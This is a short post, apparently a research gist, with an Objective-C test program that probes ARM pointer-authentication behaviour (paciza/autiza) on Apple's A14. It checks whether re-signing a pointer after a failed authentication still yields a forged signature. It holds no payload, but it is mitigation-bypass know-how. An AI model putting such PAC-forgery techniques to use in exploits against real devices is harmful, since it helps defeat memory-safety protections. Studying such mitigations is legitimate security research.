RIP AUT+PAC forgeries on A14 https://twitter.com/qwertyoruiopz/status/1320944385010376705

pacb.m

#import <Foundation/Foundation.h>
__asm__("\
        _paciza:\n \
            paciza x0\n \
            ret\n \
        _autiza:\n \
            autiza x0\n \
            ret\n \
        ");
uint64_t paciza(uint64_t);
uint64_t autiza(uint64_t);
int main() {
    uint64_t real_auth = paciza(0x414141);
    uint64_t failed_auth = autiza(0x414141);
    uint64_t failed_aut_resign = paciza(failed_auth);
    NSLog(@"paciza(autiza(untagged)) = %llx, paciza(untagged) = %llx, xor = %llx", failed_aut_resign, real_auth, failed_aut_resign ^ real_auth);
}